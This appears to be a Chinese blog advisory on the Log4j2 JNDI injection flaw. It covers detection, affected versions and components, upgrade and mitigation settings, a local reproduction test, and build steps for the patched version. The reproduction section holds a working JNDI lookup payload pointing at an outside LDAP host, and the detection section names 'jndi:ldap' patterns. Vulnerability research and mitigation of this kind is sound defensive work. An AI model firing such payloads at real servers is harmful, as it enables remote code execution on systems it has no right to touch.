- 一、漏洞说明
- 二、漏洞检测方案
- 三、影响范围
- 四、影响组件
- 五、彻底解决方案(附升级包下载地址)
- 六、临时缓解方案
- 七、漏洞复现
- 八、本地编译log4j-2.15.0-rc版本方法
- 1、下载源码
- 2、安装JDK8、9、11。
- 3、用idea打开源码
- 4、修改toolchains-sample-win.xml文件的JDK安装路径
- 5、修改maven的conf目录下的toolchains.xml文件,设置java11的安装路径
- 6、编译安装到本地仓库
漏洞原理官方表述:Apache Log4j2 中存在JNDI注入漏洞,当程序将用户输入的数据进行日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。
通俗简单的说就是:在打印日志的时候,如果你的日志内容中包含关键词 ${,攻击者就能将关键字所包含的内容当作变量来替换成任何攻击命令,并且执行。
二、漏洞检测方案1、通过流量监测设备监控是否有相关 DNSLog 域名的请求
2、通过监测相关日志中是否存在“jndi:ldap://”、“jndi:rmi”等字符来发现可能的攻击行为。
Apache log4j2 >= 2.0, <= 2.14.1
四、影响组件Apache Struts2
Apache Solr
Apache Druid
Apache Flink
Apache Flume
Apache Dubbo
Apache Kafka
Sping-boot-strater-loj2
ElasticSearch
Redis
Logstash
目前rc1版本已被绕过,建议使用如下官方临时补丁进行修复,升级至log4j-2.15.0-rc2;
升级包下载:log4j-2.15.0-rc2.zip
六、临时缓解方案1、 禁止没有必要的业务访问外网。
2、设置jvm参数
“-Dlog4j2.formatMsgNoLookups=true”
3、设置
“log4j2.formatMsgNoLookups=True”
4、系统环境变量
七、漏洞复现“FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS”设置为“true”
1、新建maven工程
2、pom文件内容如下
4.0.0 org.example log4j-test 1.0-SNAPSHOT 1.8 1.8 2.14.1 org.apache.logging.log4j log4j-api ${log4j.version} compile org.apache.logging.log4j log4j-core ${log4j.version} compile org.apache.logging.log4j log4j-api junit junit RELEASE test
3、新建测试类
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
import org.junit.Test;
import java.io.IOException;
public class Log4jTest {
private static final Logger log = LogManager.getLogger();
@Test
public void test() throws IOException {
log.error("${jndi:ldap://172.18.1.1:1389/#Exploit}");
log.error("${}", "jndi:ldap://172.18.1.1:1389/#Exploit");
}
}
4、启动wireshare,下载地址:https://2.na.dl.wireshark.org/win64/Wireshark-win64-3.6.0.exe
若存在漏洞,则将捕获到如下信息。如果不存在漏洞,而无信息。
https://github.com/apache/logging-log4j2/archive/refs/tags/log4j-2.15.0-rc2.zip
2、安装JDK8、9、11。注意:要3个都装上,并且当前使用的JDK要设置成Java8,可以执行java -version和javac -version验证一下。
3、用idea打开源码 4、修改toolchains-sample-win.xml文件的JDK安装路径我开始只装了8,不成功,提示需要9,然后后来装了9,还是不行,提示还需要11,最后装了11才在JDK环境上
5、修改maven的conf目录下的toolchains.xml文件,设置java11的安装路径jdk 1.8 sun D:Program FilesJavajdk1.8.0_301 jdk 9 sun D:Program FilesJavajdk-9.0.4 jdk 11 oracle D:Program FilesJavajdk-11.0.13
6、编译安装到本地仓库jdk 11 oracle D:Program FilesJavajdk-11.0.13
执行mvn clean install -t ./toolchains-sample-win.xml -Dmaven.test.skip=true -f pom.xml编译和安装到本地仓库。



